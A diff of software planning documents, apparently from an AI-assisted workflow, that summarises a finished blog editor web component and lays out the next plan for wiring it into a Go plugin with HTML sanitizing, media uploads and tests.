- **Element (D-01, D-03, D-13):** light-DOM `BlogEditorElement` with the value/dirty logic of the interfaces skeleton, `emitUpdate: false` loads outside the undo history, `summer-change` on user edits only, an exact-string Source tab, `disabled`, `invalid`, `locale` (as `lang`) and `ui-locale` (labels); `injectCSS: false` with the ProseMirror base rules in `blogeditor.css`, every selector under the tag and only `--c-*` colours.
|
||||
- **Preservation (D-03, D-04):** `rawHtml` text cards with an "Edit as HTML" action, `figure`/`figureImage`/`figcaption`, `embed`, `span` mark, the `htmlAttributes` global attribute map, tables without colgroup or min-width, cells without TipTap's align rewrite, StarterKit without the trailing node and with links that gain nothing.
|
||||
- **Serializer:** `captureBlocks` splits the source by position, validates that the pieces parse to the same DOM as the whole, and parses each alone; `serializeDocument` aligns the captured blocks with the document (prefix, suffix, LCS) and emits original bytes for unchanged runs, raw HTML verbatim and the rest through `DOMSerializer` in an inert document, with tables in thead/bare-cell form. `editor.getHTML()` is never the value.
|
||||
- **Toolbar, embeds, links, uploads (D-04, D-05, D-18):** `buildToolbar` with every listed control; `parseEmbedUrl` and `EMBED_PROVIDERS` (YouTube only); `isPolicyUrl` as Link's `isAllowedUri` and in the link input; uploads by picker or drop as `summer-upload`, insert on `summer-upload-result` with a required alt and optional caption, error and 60 s timeout in an `aria-live` status line.
|
||||
- **Corpus (D-05):** `editor-corpus.json` with 15 entries (`embed-youtube`, `image-without-caption`, `image-with-caption`, `table-header-row`, `links`, `headings`, `bullet-list`, `ordered-list`, `blockquote`, `ordered-list-start-3`, `inline-marks`, `code-block`, `horizontal-rule`, `hard-break`, `combined`), built only through editor commands and typing.
|
||||
- **README:** a "Blog Editor" section (element, contract, untouched values, embeds, link rule, upload flow, JS build, corpus) plus Dependencies and Testing lines.
|
||||
|
||||
## Task Commits
|
||||
|
||||
All code commits are in `../sm-journal-plugin` (branch main):
|
||||
|
||||
1. **Task 1: package check** - resolved by the orchestrator (no commit)
|
||||
2. **Task 2: tracer** - `234e616` build(editor): blog editor JS build and drift gate; `47f3032` feat(editor): blog editor element with exact untouched value
|
||||
3. **Task 3: expansion** - `086e485` feat(editor): preservation schema, block reuse, toolbar, uploads and embeds
|
||||
|
||||
## Bundle
|
||||
|
||||
- `assets/dist/blogeditor.js`: 466,051 bytes minified (147,281 bytes gzip -9)
|
||||
- `assets/dist/blogeditor.css`: 7,480 bytes
|
||||
- `grep -cE "eval\(|new Function\(" assets/dist/blogeditor.js` prints 0; the only `createElement("style")` is TipTap's unused `createStyleTag` (injectCSS is false).
|
||||
|
||||
## Verification
|
||||
|
||||
- Task 2 verify (tracer gate re-run before expansion): smoke tests, `check-dist.sh`, `go vet ./...` and `go test ./classes/ ./controllers/...` passed.
|
||||
- Task 3 verify: `tsc --noEmit`, the full vitest run (2 files, 33 tests), `check-dist.sh` and `go vet ./...` pass.
|
||||
- Acceptance greps: the tag is in the bundle, `admin.go` has one embed line for the bundle, `git check-ignore node_modules` prints `node_modules`, `serializeDocument`/`parseEmbedUrl`/`isPolicyUrl` are exported, the corpus has 15 entries with the embed, figcaption, table and `start="3"` and 0 matches of `<iframe|target=|rel=| on[a-z]+=|style=`, `data-embed` is in the bundle, and all three event names are in it.
|
||||
|
||||
## TDD (Task 3, tdd="true")
|
||||
|
||||
- **RED:** the expanded `smoke.test.ts` and `corpus.test.ts` were written and run against the Task 2 element before the schema, serializer, toolbar and element wiring. Target test `preservation schema > leaves every other top-level block byte-identical after editing one paragraph` failed on its assertion (footer, style block, table and figure flattened, link attributes reordered). `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`). vitest's `tap-flat` reporter prints no `# tests/# pass/# fail` lines, so those three lines were counted from its non-skipped `ok`/`not ok` lines and appended to the record.
|
||||
- **GREEN:** the implementation made all 33 cases pass.
|
||||
- **Commit shape:** the plan prescribes one `feat(editor)` commit for Task 3, so no separate `test(...)` RED commit exists. `embed.ts`, `labels.ts` and `extensions.ts` were drafted just before the tests, so the `parseEmbedUrl` and `isPolicyUrl` cases were already green at RED time; every behavior that needed the schema, serializer, toolbar or upload flow was red.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See key-decisions in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Fixture source not readable; synthetic fixture with the same structure**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** The environment's permission classifier refused every read of `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json` (PII data handling), including `ls`.
|
||||
- **Fix:** `imported-post.html` is a synthetic post with the structure the plan requires: rendered-markdown blocks (h2, h3, p with em/strong, ul, ol, blockquote, links), the author footer in the shape the repository already uses in `classes/format_html_test.go` (`itemscope`, `itemtype`, `itemprop`, `div` and `span` with `style`, neutral name and `cdn.example.test` photo), a `style` block, a table with thead, a figure with img and figcaption, a link with `target` and `rel`, a paragraph with `"` entities, plus `&`, ` `, `–` and `×`. No real author or post text is copied. A human may swap in the real export later; the tests do not depend on its wording.
|
||||
- **Commit:** 47f3032
|
||||
|
||||
**2. [Rule 3 - Blocking] Library mode does not minify ES output**
|
||||
- **Found during:** Task 2
|
||||
- **Issue:** Vite 7 `build.lib` with `formats: ['es']` forces `minifyWhitespace: false` (587 KB); the acceptance assumes a minified bundle.
|
||||
- **Fix:** the same single ES entry through `rollupOptions.input` with `preserveEntrySignatures: 'exports-only'`, `entryFileNames: 'blogeditor.js'`, `assetFileNames: 'blogeditor[extname]'`, `modulePreload: false` (384 KB at Task 2, 466 KB at Task 3). The admin loads it as `type="module"`, as before.
|
||||
- **Files modified:** vite.config.ts
|
||||
- **Commit:** 234e616
|
||||
|
||||
**3. [Rule 2 - Security] on* attributes never captured; uploaded URLs checked**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** a global attribute map that captures every unmodelled attribute would render `onerror`/`onload` from stored HTML into the live admin DOM; an upload answer could carry a URL outside the policy.
|
||||
- **Fix:** `captureAttributes` and `renderCaptured` skip `on*` names (test asserts the editor's `img` has no `on*` attribute); a `summer-upload-result` URL that fails `isPolicyUrl` is shown as an upload error. The serializer and the raw HTML `renderHTML` build DOM only in an inert document.
|
||||
- **Commit:** 086e485
|
||||
|
||||
**4. [Rule 1 - Bug] Replaced values in the undo history; edited value lost on detach**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** TipTap's `setContent` records history, so undo after an external value brought back the replaced document; after `disconnectedCallback` destroyed the editor, a dirty value fell back to the served string.
|
||||
- **Fix:** loads run as `chain().setMeta('addToHistory', false).setContent(...)`; on disconnect a dirty WYSIWYG value is kept as the element's value. Both have tests.
|
||||
- **Commit:** 086e485
|
||||
|
||||
**5. Files outside the plan's lists**
|
||||
- `serializer.ts` was created in Task 2 (minimal, `DOMSerializer` only) so the tracer never used `getHTML()`; Task 3 replaced it as planned.
|
||||
- `tests/blogeditor/helpers.ts` holds the shared mount/typing helpers of both test files.
|
||||
- `plugin_test.go` (`TestJournalSVGEmbed`) asserts that `AdminFS` holds both bundle files and that the script defines the tag. The root package's `TestMain` starts testcontainers, so this runs only on a Docker host (plan 06); it compiles and `go vet` is clean here.
|
||||
|
||||
**6. Scope notes on plan wording**
|
||||
- `RAW_HTML_TAGS` covers more tags than the plan lists (see key-decisions).
|
||||
- Stored links with a scheme outside the policy keep their text but not the link once their block is edited (the plan said "preserved in the editor"); unedited blocks keep their bytes. This matches what the server does on an edited save.
|
||||
- In edited blocks, link attributes come out as `target`, `rel`, `href` (TipTap merges the null option defaults first); values are unchanged and unedited blocks keep their bytes.
|
||||
- Table cells drop TipTap's `align` attribute so a stored `style="text-align: ..."` or `align` is kept verbatim through the attribute map instead of being rewritten.
|
||||
- In the corpus, the `blockquote` builder sits between the two ordered-list builders so the `combined` document keeps two lists (TipTap joins adjacent lists).
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 4 auto-fixed (2 blocking, 1 security, 1 bug) plus file and scope notes. **Impact:** no change to the element contract, the embed markup or the corpus shape that plans 03 and 04 consume.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- No Docker on this host: the root package's Go tests (including the new AdminFS assertion) need testcontainers and run in plan 06.
|
||||
- happy-dom covers the element logic, but not browser selection, IME, real drag and drop or layout; the browser check belongs to the UAT step.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None. The `field-name`, `record-id` and `options` attributes are accepted and unused, because this type has no options and does not need the record id; that is the contract, not a stub.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 03 registers `blogeditor`/`mlblogeditor` with `Element: "golem15-journal-blogeditor"`, `Scripts: ["assets/dist/blogeditor.js"]` and `Styles: ["assets/dist/blogeditor.css"]` (already in `adminFS`), and reads `tests/blogeditor/fixtures/editor-corpus.json` in place for the Go policy test. The policy must allow `figure` `data-embed`/`data-id`, any `img` `alt` (the corpus has one with `:`, `?` and `"`), and `ol` `start`.
|
||||
- Plan 04 copies `editor-corpus.json` byte for byte into the layer and mirrors the embed provider table (one YouTube entry, id `^[A-Za-z0-9_-]{11}$`).
|
||||
|
||||
## Broken-windows ledger
|
||||
|
||||
- deviation: `tests/blogeditor/fixtures/imported-post.html` (sm-journal-plugin) is synthetic.
|
||||
- unrun-verify: the new `TestJournalSVGEmbed` assertion in sm-journal-plugin `plugin_test.go` needs Docker (plan 06).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Created files exist in ../sm-journal-plugin: assets/src/blogeditor/{index,element,extensions,serializer,toolbar,embed,labels}.ts, blogeditor.css, assets/dist/blogeditor.js and .css, tests/blogeditor/{helpers,smoke.test,corpus.test}.ts, fixtures/imported-post.html and editor-corpus.json, scripts/check-dist.sh, package.json, package-lock.json, vite.config.ts, tsconfig.json, .gitignore.
|
||||
- Commits exist in ../sm-journal-plugin: 234e616, 47f3032, 086e485.
|
||||
@@ -0,0 +1,378 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 03
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16.2-01", "16.2-02"]
|
||||
coupling_justified: ["16.2-04: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/editor_policy_test.go
|
||||
- ../sm-journal-plugin/classes/blog_editor.go
|
||||
- ../sm-journal-plugin/classes/media_store.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/field_types.go
|
||||
- ../sm-journal-plugin/controllers/posts.go
|
||||
- ../sm-journal-plugin/controllers/categories.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
|
||||
- ../sm-journal-plugin/controllers/api/media.go
|
||||
- ../sm-journal-plugin/controllers/api/media_test.go
|
||||
- ../sm-journal-plugin/models/post/fields.yaml
|
||||
- ../sm-journal-plugin/models/category/fields.yaml
|
||||
- ../sm-journal-plugin/lang/en/lang.yaml
|
||||
- ../sm-journal-plugin/lang/pl/lang.yaml
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/journal_api_categories_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- .planning/notes/journal-html-sanitizing-bluemonday.md
|
||||
autonomous: true
|
||||
requirements: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
|
||||
estimate:
|
||||
tokens: 110000
|
||||
raw_tokens: 110000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-08 and D-14: Journal registers the field types blogeditor and mlblogeditor (element golem15-journal-blogeditor, script assets/dist/blogeditor.js, style assets/dist/blogeditor.css) on the plugin; post content in models/post/fields.yaml is type mlblogeditor; excerpt keeps mltextarea."
|
||||
- "D-10 (amended 2026-10-10) and D-04: Decode accepts a string (nil decodes to the empty string) and stores classes.SanitizeHTMLReport's output for every locale cabana hands it, post and category content alike, the raw HTML block and source-tab edits included: the exact submitted bytes and no notice when the policy keeps everything, otherwise the stripped HTML plus pact.FormFieldNotice values naming the removed elements, attributes and comments (lang keys with en and pl plural forms); a save never fails because of unsafe markup; any other value type is a FormFieldError (422 on content)."
|
||||
- "D-02: an admin save that writes content stores the same sanitized HTML in content and content_html for that locale: the host column through FormBeforeCreate/FormBeforeUpdate, a non-default locale through FormAfterCreate/FormAfterUpdate and the translation writer; the admin path no longer runs goldmark (FormatHTML) on content."
|
||||
- "D-03 (Journal half) and todo journal-imported-html-admin-resave: a save that does not write content (cabana skipped it as untouched) leaves content and content_html byte-identical."
|
||||
- "D-07 (assumption A1): Load serves content when its first non-whitespace character is '<'; otherwise (a markdown post) it serves that locale's content_html, and FormatHTML(content) when content_html is empty; there is no format flag and no new column."
|
||||
- "D-09: POST and PUT /_journal/api/v1/posts keep markdown content with FormatHTML-rendered content_html, and POST /_journal/api/v1/media/upload keeps its response shape and validation messages."
|
||||
- "D-19 (amended): category content uses blogeditor (not translatable, matching the Go model and the frozen PHP tree) and is stripped and reported like post content; the 422 CheckHTML gate in the Categories controller's FormBeforeCreate/FormBeforeUpdate is retired (blank content still becomes NULL) and TestCategoriesAdminContent asserts the strip; no public category write path exists (routes.go mounts GET /_journal/api/v1/categories only), so no public contract changes."
|
||||
- "D-18 (Journal half): the blogeditor and mlblogeditor Upload stores an image through the media storage extracted from the public upload route (same key layout /journal/<folder>/<name>, same unique suffix, same public URL), accepts only jpg, jpeg, png, gif and webp whose first bytes sniff as that image type, at most 10240 KiB."
|
||||
- "D-05 (amended): htmlPolicy is extended for exactly the Blog Editor's own output, and nothing else: figure data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start matching ^[0-9]+$; every entry of plan 02's editor-corpus.json passes SanitizeHTML byte for byte with an empty removal report (TestEditorOutputPassesPolicy), while iframe, other data-* attributes, other providers and malformed ids are still stripped."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/classes/blog_editor.go"
|
||||
provides: "BlogEditorTypes, LooksLikeHTML and the Decode/Load/ListValue/Upload funcs"
|
||||
contains: "func BlogEditorTypes"
|
||||
- path: "../sm-journal-plugin/classes/format_html.go"
|
||||
provides: "SanitizeHTMLReport, HTMLRemovals and the editor-output policy extension"
|
||||
contains: "func SanitizeHTMLReport"
|
||||
- path: "../sm-journal-plugin/classes/editor_policy_test.go"
|
||||
provides: "the Go half of the editor-output policy cross-check"
|
||||
contains: "TestEditorOutputPassesPolicy"
|
||||
- path: "../sm-journal-plugin/classes/media_store.go"
|
||||
provides: "StoreMedia shared by the public upload route and the editor Upload"
|
||||
contains: "func StoreMedia"
|
||||
- path: "../sm-journal-plugin/field_types.go"
|
||||
provides: "Plugin.FormFieldTypes (pact.HasFormFieldTypes)"
|
||||
contains: "HasFormFieldTypes"
|
||||
- path: "../sm-journal-plugin/models/post/fields.yaml"
|
||||
provides: "post content on the Blog Editor"
|
||||
contains: "mlblogeditor"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/classes/blog_editor.go decodeBlogHTML"
|
||||
to: "../sm-journal-plugin/classes/format_html.go SanitizeHTMLReport"
|
||||
via: "FormFieldDecoded{Value: sanitized, Notices: removalNotices(report)} per locale"
|
||||
pattern: "SanitizeHTMLReport"
|
||||
- from: "../sm-journal-plugin/classes/editor_policy_test.go"
|
||||
to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02)"
|
||||
via: "every corpus entry must come back from SanitizeHTML unchanged"
|
||||
pattern: "editor-corpus.json"
|
||||
- from: "../sm-journal-plugin/controllers/posts.go preparePostWrite"
|
||||
to: "cabana.FieldWritesFromContext"
|
||||
via: "content_html := the written default-locale content"
|
||||
pattern: "FieldWritesFromContext"
|
||||
- from: "../sm-journal-plugin/controllers/posts.go FormAfterUpdate"
|
||||
to: "cabana.TranslationWriter.WriteTranslated"
|
||||
via: "content_html per written non-default locale (RESEARCH Pitfall 7)"
|
||||
pattern: "content_html"
|
||||
- from: "../sm-journal-plugin/controllers/api/media.go UploadMedia"
|
||||
to: "../sm-journal-plugin/classes/media_store.go StoreMedia"
|
||||
via: "extracted storage, response unchanged"
|
||||
pattern: "StoreMedia"
|
||||
prohibitions:
|
||||
- statement: "htmlPolicy is never relaxed for iframe, object, embed, script, style, event attributes, target, rel, other data-* attributes or URL schemes; its only 16.2 additions are the four editor-output attributes, and the layer mirror (plan 04) adds the same four."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The admin path never stores submitted bytes the policy would change: every written content value is SanitizeHTMLReport output, and no admin save fails because of unsafe markup."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The public Journal write API and the public media upload route keep the PHP contract: request fields, response shapes and messages do not change."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No per-post format flag, new column or migration is added for HTML versus markdown posts."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 03): Journal's Go integration in `../sm-journal-plugin`. The element from plan 02 becomes the `blogeditor`/`mlblogeditor` field types on the framework API from plan 01; post content and category content switch to it; the admin save path stores sanitized HTML in both columns without goldmark and reports what it stripped; the shared policy admits the editor's own output; editor uploads reuse the existing media storage.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-02, D-04, D-05, D-10 and D-19 amended)
|
||||
|
||||
16.1 replaced the regex gate with bluemonday v1.0.27 (sm-journal-plugin a3551f2, 0d00ec8, 5f47083): `rejectUnsafe` is gone; `FormatHTML` renders with goldmark and then strips through `SanitizeHTML`; `FormatTranslation` sanitizes per-locale `content_html` on API and import writes; `CheckHTML` refuses whenever the policy would change the HTML. Under the amended D-10, every admin write of post and category content stores the policy's output, never fails because of unsafe markup, and reports what was removed. This plan therefore:
|
||||
|
||||
- decodes with `classes.SanitizeHTMLReport` (new) instead of `CheckHTML`, and returns the removals as plan 01's `pact.FormFieldNotice` values;
|
||||
- retires the Categories controller's 422 gate (`TestCategoriesAdminContent` now asserts the strip);
|
||||
- extends the policy for exactly the editor's own output (amended D-05) and pins it with plan 02's corpus (new Task 3).
|
||||
|
||||
Where RESEARCH (Pattern 6, Pitfall 10, Code Example 2, Security Domain) or PATTERNS describe CheckHTML refusing or "no sanitizer", this plan's text wins. The pre-phase sm-journal-plugin head is now c60abc6 (requires summercms v0.1.17).
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Assumptions (explicit)
|
||||
|
||||
- **A1, D-07 detection (user decision 4, delegated):** a stored content value is HTML when its first non-whitespace character is `<` (this includes a leading HTML comment); anything else is a markdown post and is served as its `content_html`. Evidence: in the local export (105 posts) 40 start with `<` and none of those has markdown block or emphasis markers; 65 do not start with `<` (markdown, some with a raw HTML footer such as ekstrakt-z-turkey-tail). A markdown post that starts with an HTML tag would open as raw markdown text; plan 05 reports the split on UAT before release. Covered by tests here and in plan 06.
|
||||
- **Load fallback:** a markdown value whose `content_html` is empty for that locale is served as `FormatHTML(content)` (a format error serves the content unchanged), so the editor never opens empty on a post that has a body.
|
||||
- **Options:** `mlblogeditor` takes `htmlColumn` (the translatable attribute holding the rendered HTML, `content_html` for posts) and `uploadFolder`; `blogeditor` takes `uploadFolder` only. `uploadFolder` follows the public route's folder rule (at most 100 characters, `^[A-Za-z0-9_\-/]*$`, no `..`). Posts use `posts`, categories use `categories`.
|
||||
- **Editor upload filenames:** the base name is lowercased and every character outside `[a-z0-9._-]` becomes `-` (runs collapsed, extension kept, empty name becomes `image`), so the inserted `src` needs no escaping. The public route keeps its own naming (D-09).
|
||||
- **The posts import action** (`runImportPosts`, `console/import_posts.go`) keeps calling `FormatHTML` (goldmark, then `SanitizeHTML`) and `FormatTranslation` on PHP exports; it is not a form save and reports nothing.
|
||||
- **Public API category writes (API parity check, done at planning time):** `routes.go` mounts only `GET /_journal/api/v1/categories`; there is no public category write path, so retiring the admin 422 changes no public contract. The public posts routes keep `FormatHTML` and `FormatTranslation` (D-09); their responses do not change shape.
|
||||
- **`classes.CheckHTML` stays exported** (sm-journal-plugin is a tagged module; removing an exported function would be a breaking change for no gain). After this plan no admin or API write path calls it; it remains the predicate counterpart of the layer's `isSafeJournalHtml` and is used by the policy cross-check test. Its doc comment and README row say exactly that.
|
||||
- **Removal report:** `SanitizeHTMLReport` aligns the start tags of the input with those of bluemonday's output in order (bluemonday only removes, never adds or reorders). An unmatched input tag is a removed element; a raw attribute name missing from, or with a changed decoded value in, the matched output tag is a removed attribute (a `style` that lost a property counts under `style`); comments count separately; anything else that changed sets `Other`. Its report is empty exactly when the returned string equals the input. Names are distinct, first-seen order, at most 10 per list (counts stay exact).
|
||||
- **Policy extension (amended D-05), fixed set shared with plan 04's layer mirror:** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$` (the embed placeholder); `img` `alt` with any value (the editor's alt field takes free text; UGC's Paragraph pattern drops `:`, `?`, `"` and more; an attribute value is escaped on output and carries no URL); `ol` `start` `^[0-9]+$` (TipTap's ordered-list input rule writes it when a list does not start at 1). If plan 02's corpus shows any other attribute the policy strips, stop and report: plans 03 and 04 must add it together, and only if it is not a URL, style, event or iframe attribute.
|
||||
- **ListValue:** strips tags, collapses whitespace and truncates to 120 runes with an ellipsis. No Journal list uses it today; it exists for any list column a host declares with the alias.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `classes.BlogEditorTypes(app func() *backpack.App) []pact.FormFieldType`, `classes.LooksLikeHTML(s string) bool`, `classes.BlogEditorElement` (const `golem15-journal-blogeditor`), unexported `decodeBlogHTML`, `loadBlogHTML`, `blogListValue`, `uploadBlogImage`, `safeUploadName`, `checkBlogOptions`, `removalNotices`.
|
||||
- `classes.SanitizeHTMLReport(doc string) (string, classes.HTMLRemovals)`, `classes.HTMLRemovals{Elements, ElementCount, Attributes, AttributeCount, Comments, Other}` with `Empty() bool`; `SanitizeHTML` becomes the string half of it; `CheckHTML` kept (doc comment updated); `newHTMLPolicy` gains the four editor-output attributes.
|
||||
- `classes.StoreMedia(ctx, bucket *blob.Bucket, folder, filename string, body io.Reader) (classes.StoredMedia, error)`, `classes.StoredMedia{URL, Path}`, `classes.MediaError{Field, Message}`, `classes.MediaMaxBytes`, `classes.MediaFolderPattern`, moved `mediaObjectPath` and `uniqueMediaKey`.
|
||||
- `(*journal.Plugin).FormFieldTypes()` in the new `field_types.go`; `postsAdminController.FormAfterCreate`, `postsAdminController.FormAfterUpdate`, unexported `writeContentHTMLTranslations`.
|
||||
- Lang keys `golem15.journal::lang.editor.content_invalid`, `golem15.journal::lang.editor.image_invalid`, `golem15.journal::lang.editor.upload_failed`, and the plural notices `golem15.journal::lang.editor.removed_elements`, `removed_attributes`, `removed_comments` and the plain `markup_changed` (en and pl).
|
||||
- Field type aliases `blogeditor`, `mlblogeditor`; fields.yaml keys `htmlColumn`, `uploadFolder`.
|
||||
- Smoke test `TestBlogEditorTracerSmoke`, `TestBlogEditorUploadSmoke`; moved tests in `classes/media_store_test.go`; `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` in `classes/editor_policy_test.go`.
|
||||
- Updated Postgres tests (compiled by vet, run on a Docker host): `TestPostsFormCompiles`, `TestPostsAdminCreateSmoke`, `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`.
|
||||
- Decision note amendment in `.planning/notes/journal-html-sanitizing-bluemonday.md` (summercms.go, docs commit).
|
||||
|
||||
<objective>
|
||||
Wire the Blog Editor into Journal: field types, strip-and-report Decode, Load, post and category fields, admin save hooks, the policy extension for the editor's own output and editor uploads (D-02 to D-10, D-14, D-18, D-19).
|
||||
|
||||
Purpose: Journal post and category content are edited with the Blog Editor; an admin save keeps imported HTML intact when nothing is unsafe, strips what is and tells the admin what it removed.
|
||||
Output: classes/blog_editor.go, SanitizeHTMLReport and the policy extension in classes/format_html.go, classes/media_store.go, field_types.go, hook changes (posts and categories), fields.yaml switches, lang keys, the policy cross-check test, updated Docker tests, smoke tests, README, decision note amendment.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/todos/pending/journal-imported-html-admin-resave.md
|
||||
@.planning/todos/pending/cabana-richeditor-field-type.md
|
||||
|
||||
Repository: `../sm-journal-plugin` (branch main), building against the `../summercms.go` working tree through its go.mod `replace` and `go.work` (so plan 01's API is available without a tag). Commits: no co-author tags, stage by explicit path. The identifier list in 16.2-01-SUMMARY applies if Task 1 of plan 01 renamed anything (read it first). The pre-phase sm-journal-plugin head is c60abc6 (16.1 shipped a3551f2, 0d00ec8, 5f47083 and c60abc6 after this phase was first planned); acceptance checks below diff against it. The decision note lives in this repository (summercms.go `.planning/notes/`) and is committed there as a separate docs commit.
|
||||
|
||||
No Docker here: the root package (TestMain starts Postgres) and `./models` cannot run. Smoke tests live in `./controllers` and `./classes`; the root-package Postgres tests are updated for correctness (go vet compiles them) and run on a Docker host (plan 05 gate, plan 06).
|
||||
|
||||
<interfaces>
|
||||
From plan 01 (pact and cabana, see 16.2-01-SUMMARY for the final names):
|
||||
|
||||
```go
|
||||
type FormFieldType struct { Name, Element string; Translatable bool; Scripts, Styles, Options []string
|
||||
CheckOptions func(map[string]any) error; Decode func(context.Context, FormFieldValue) (FormFieldDecoded, error)
|
||||
Load func(context.Context, FormFieldValue) (any, error)
|
||||
ListValue func(any) string; Upload func(context.Context, FormFieldUpload) (FormFieldUploadResult, error) }
|
||||
type FormFieldDecoded struct { Value any; Notices []FormFieldNotice }
|
||||
type FormFieldNotice struct { Message string; Params map[string]string; Count int } // cabana localizes; Count > 0 = plural
|
||||
type FormFieldValue struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Locale string
|
||||
Default bool; Value any; Translated func(attribute string) (string, bool, error) }
|
||||
type FormFieldUpload struct { DB *gorm.DB; Record any; Field string; Options map[string]any; Filename string; Body io.Reader }
|
||||
type FormFieldError struct{ Messages []string }
|
||||
// cabana
|
||||
type FieldWrite struct { Locale string; Default bool; Value any }
|
||||
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool)
|
||||
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context
|
||||
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*cabana.FormSchema, error)
|
||||
func TxFromContext(ctx context.Context) (*gorm.DB, bool)
|
||||
type TranslationWriter interface { /* DefaultLocale, EnabledLocales, WriteTranslated(ctx, tx, model, field, locale, value), TranslatedExact */ }
|
||||
```
|
||||
|
||||
Journal code to change (read before editing):
|
||||
- `controllers/posts.go` `preparePostWrite` (204-221) runs `classes.FormatHTML(post.Content)` and sets `post.ContentHTML`: this is the admin-path goldmark call to replace.
|
||||
- `controllers/categories.go` `prepareCategoryWrite` (65-82): blank to NULL plus the CheckHTML 422. The 422 is retired in Task 2 (D-19 amended); blank to NULL stays.
|
||||
- `journal_api_categories_test.go` `TestCategoriesAdminContent` (138): subtests "unsafe create refused" and "unsafe update refused" with `assertContentRefused`; they become strip assertions in Task 2.
|
||||
- `posts_admin_smoke_test.go` `TestPostsAdminSaveSanitizesHTML` (159): asserts content stored as submitted and content_html sanitized; under D-02 both columns hold the sanitized HTML (Task 1).
|
||||
- `controllers/api/media.go` `UploadMedia` (22-91): auth, folder check, extension allowlist, 10240 KiB cap, `mediaObjectPath`, `uniqueMediaKey`, bucket write, 201 `{data:{url,path}}`.
|
||||
- `models/post.go`: `Content string`, `ContentHTML string`, `Translatable()` includes content and content_html. `models/category.go`: `Content *string`, not translatable.
|
||||
- `classes/format_html.go`: `newHTMLPolicy` (UGC plus footer, class, microdata, four styles, footnote roles, dir, two chat data attributes), `FormatHTML(src string) (string, error)` (goldmark then SanitizeHTML), `SanitizeHTML(doc string) string`, `FormatTranslation(attrs map[string]any) error`, `CheckHTML(doc string) error` (error when the policy would change doc), unexported `sanitizeHTML` (returns doc unchanged when `sameTokens` holds), `sameTokens`, `htmlTokens`, `rawAttrNames` (duplicate attributes count as a change).
|
||||
- `classes/format_html_test.go` `unsafePayloads` (the 35 stored-XSS payloads), `classes/check_html_test.go`, `classes/format_translation_test.go`: existing tests that must keep passing.
|
||||
- `routes.go`: the public routes (no category write).
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
